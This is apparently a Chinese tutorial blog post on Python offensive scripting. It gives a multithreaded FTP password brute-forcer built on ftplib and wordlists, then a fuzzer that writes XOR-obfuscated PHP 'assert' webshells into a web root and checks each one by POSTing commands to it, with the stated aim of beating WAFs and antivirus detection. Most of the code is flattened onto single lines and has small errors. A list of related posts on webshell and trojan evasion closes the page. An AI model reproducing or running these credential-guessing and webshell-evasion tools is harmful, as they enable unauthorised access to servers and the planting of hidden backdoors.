【Python】多线程FuzzWaf异或免杀爆破
【Python】多线程Fuzz&Waf异或免杀&爆破
- 学习内容和目的
- 简单多线程脚本
- 利用FTP模块实现协议爆破脚本
- 不含多线程简单爆破
- 引入queue和threading
- 配合Fuzz实现免杀异或Shell脚本
- 添加requests判断结果
- 多线程代码
注意sys.argv传参数必要时需要转换int型。
学习内容和目的
知识点:协议模块使用,Request爬虫技术,简易多线程技术,编码技术,Bypass后门技术
学习目的:掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合Fuzz吊打Waf
简单多线程脚本
queue,threading模块使用
利用FTP模块实现协议爆破脚本
1.ftplib模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断
不含多线程简单爆破
import ftplib
import sys
def ftp_brute():ftp=ftplib.FTP()ftp.connect('192.168.0.101',21)for username in open('ftp-user.txt'):for password in open('ftp-pass.txt'):username=username.replace('\n','')password=password.replace('\n','')try:ftp.login(username,password)list=ftp.retrlines('list')print(list)print(username+'|'+password+'ok')except ftplib.all_errors:pass
if __name__ == '__main__':ip=sys.argv[1]ftp_brute()
引入queue和threading
import ftplib
import sys
import queue
import threading
def ftp_brute():ftp=ftplib.FTP()ftp.connect('192.168.0.101',21)while not q.empty():dict=q.get()dict=dict.split('|')username=dict[0]#因为q里面有|,分隔后每个q含有两项。password=dict[1]try:ftp.login(username,password)list=ftp.retrlines('list')print(list)print(username+'|'+password+'ok')except ftplib.all_errors:passif __name__ == '__main__':q=queue.Queue()for username in open('ftp-user.txt'):for password in open('ftp-pass.txt'):username=username.replace('\n','')password=password.replace('\n','')zidian=username+'|'+passwordq.put(zidian)for x in range(10):#10是线程数t=threading.Thread(target=ftp_brute)#函 数不加()t.start()
添加参数:
import ftplib
import sys
import queue
import threading
def ftp_brute(ip,port):ftp=ftplib.FTP()ftp.connect(ip,int(port))while not q.empty():dict=q.get()dict=dict.split('|')username=dict[0]#因为q里面有|,分隔后每个q含有两项。password=dict[1]try:ftp.login(username,password)list=ftp.retrlines('list')print(list)print(username+'|'+password+'ok')except ftplib.all_errors:passif __name__ == '__main__':ip=sys.argv[1]port=sys.argv[2]userfile=sys.argv[3]passfile=sys.argv[4]threading_num=sys.argv[5]q=queue.Queue()for username in open(userfile):for password in open(passfile):username=username.replace('\n','')password=password.replace('\n','')zidian=username+'|'+passwordq.put(zidian)for x in range(10):#10是线程数t=threading.Thread(target=ftp_brute,args=(ip,int(port)))#参数名argst.start()
配合Fuzz实现免杀异或Shell脚本
1.免杀异或Shell原理讲解及开发思路(参考及举例:^!@,"?等)
2.基于Fuzz思路生成大量Payload代码并有序命名写入到网站文件中。
3.基于多线程实现批量访问Shell文件并提交测试是否正常连接回显。
PHP异或
通过^
进行异或运算:
<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>
要把!
和@
对应的二进制的ASCII码异或运算。得到的是a。免杀绕过的是assert。
如何去生成更多个a的运算符?
- 1.搞清楚算法,一个个反推。
- 2.遍历查找,看那个匹配a。
把后门木马写入www文件夹下,一个个测试request访问,看那个成功。
for i in range(1,127):for ii in range(1,127):code="<?php $a="+"'"+chr(i)+"('"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"with open("E:/securitytools/phpstudy_pro/WWW"+str(i)+'xs'+str(ii)+'.php','a+') as f:f.write(code)f.close()
请求:
127.0.0.1/x/33xs64.php
传入参数
x=phpinfo()
可以看到等待assert命令的执行。
添加requests判断结果
import requestsfor i in range(1,127):for ii in range(1,127):code="<?php $a="+"('"+chr(i)+"'"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"with open("E:/securitytools/phpstudy_pro/WWW/x/"+str(i)+'xs'+str(ii)+'.php','a+') as f:f.write(code)f.close()url='http://127.0.0.1/x/'+str(i)+'xs'+str(ii)+'.php'data={'x':'phpinfo()'}result=requests.post(url,data=data).content.decode('utf-8')if 'xxx' in result:print('Bypass ok->'+str(i)+'xs'+str(ii)+'.php')print(code)#else#print(str(i)+'xs'+str(ii)+'.php'+'|No')
无子符后门,
assert中的每个字符都可以拆分。$a也可以拆分。
webshell免杀
多线程代码
原型代码,编译代码。
import requests
import time
import threading,queuedef string():while not q.empty():filename=q.get()url='http://127.0.0.1/x/'+filenamedatas={'x':'phpinfo();'}result=requests.post(url,datas=datas).content.decode('utf-8')if 'xxx' in result:print('check->'+filename+'->OK')else:print('check->'+filename+'->No')time.sleep(1)def shell_test_check():url='http://127.0.0.1/x/33x64.php'datas={'x':'phpinfo();'}result=requests.post(url,datas=datas).content.decode('utf-8')if 'xxx' in result:print('ok')if __name__ == '__main__':q=queue.Queue()for i in range(1,127):for ii in range(1,127):payload="'"+chr(i)+"'"+"^"+"'"+chr(ii)+"'"code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>"filname=str(i)+'xd'+str(ii)+'.php'q.put(filename)with open('D://xxxx/www/x'+filename,'a') as f:f.write(code)f.close()print('Fuzz文件生成成功')for x in range(20):t=threading.Thread(target=string)t.start()
【Python】多线程FuzzWaf异或免杀爆破相关推荐
- 【木马】利用Python制作一个接受式免杀载荷
目录 什么是接受式免杀载荷? 关于Pervise 免责声明 接受式载荷的工作流程 1. 开始运行 2. 连接成功 3. 运行载荷 4. 再次建立连接 实现接受式载荷的工作 接受式载荷 服务端 实验载荷 ...
- python打包的exe如何免杀_如何使用Python进行Payload免杀
很多渗透工具都提供了权限维持的能力,如Metasploit.Empire和Cobalt Strike,但是都会被防病毒软件检测到恶意行为.在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方 ...
- python打包的exe如何免杀_使用Python进行防病毒免杀
很多渗透工具都提供了权限维持的能力,如Metasploit.Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为.在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这 ...
- python打包的exe如何免杀_使用Python进行防病毒免杀解析
很多渗透工具都提供了权限维持的能力,如Metasploit.Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为.在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这 ...
- python打包的exe如何免杀_通过Python实现Payload分离免杀过程详解
缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: 将payload给copy下来,去除引号. \x2f\x4f\x69\x43\x41\x41\x41\x41\x59\x4 ...
- 远控免杀从入门到实践(5)-代码篇-Python
郑重声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! <远控免杀从入门到实践>系列文章目录: 1.远控免杀从 ...
- APT之木马静态免杀
前言 这篇文章主要是记录手动编写代码进行木马免杀,使用工具也可以免杀,只不过太脚本小子了,而且工具的特征也容易被杀软抓到,指不定哪天就用不了了,所以要学一下手动去免杀木马,也方便以后开发一个只属于自己 ...
- 红队培训班作业 | 免杀过360和火绒 四种方法大对比
文章来源|MS08067 红队培训班第12节课作业 本文作者:汤浩荡(红队培训班1期学员) 按老师要求尝试完成布置的作业如下: 环境准备: Kali linux安装cs4.2,Windows7系统安装 ...
- 免杀实战之面向PHP的WebShell免杀
0X00普通的一句话木马 <pre id="PTXkG"><?php eval($_POST['a']); ?> //函数的相似替换 <?php as ...
最新文章
- P1083 [NOIP 2012]借教室
- Docker中Maven私服的搭建
- 【HDU - 1943】Ball bearings(几何问题)
- java时间类Date、Calendar及用法
- JavaScript的DOM操作.
- 《C#图解教程》 总览
- php做网站步骤_怎么制作php网站
- Speed Gear(变速精灵XP) V6.0 - 免费版,破解版,绿色版
- [zz]明月虽好by 王大根 from 豆瓣
- 【Linux系统】第6节 Linux系统压缩与解压缩文件
- opencv 图片染色 及 移动
- 日期转毫秒,毫秒转日期
- android获取版本信息、屏幕信息和设备编号
- 星际争霸2-数据编辑器-菜鸟入门
- vos3000外呼系统讯时O口网关加密注册 VOS 配置方法
- java晋升述职_阿里感悟(九)-如何才能晋升
- 小白学习Linux命令
- Ant Design of Vue表格中slot-scope=“text, record”
- DNS被劫持,导致Unable to connect'to the remote server,修改Hosts解决
- 抢购失败,无法获取生成订单的基本信息,接口返回:【‘addressList’】解决方案,实测可用!
热门文章
- 如何使用Python第三方库
- IDEA导入Mybatis源码
- 双11前夕,阿里启用机房巡检机器人、京东加了2000+台服务器!这下你们可以放心剁手了...
- “魔盗”窃密木马(FakeCDR)研究
- H5上拉加载以及在微信内置浏览器上拉加载失效问题记录
- Pyhton生成《百年孤独》高频词词云
- Twitter发力区块链+社交?区块链社交应用场景应该满足的三个维度
- 四分之一车辆垂向动力学模型
- python函数名是变量_Python 变量做函数名的简单示例
- html5快速开发模板生成器,推荐一个基于Vue 的 H5 快速开发模板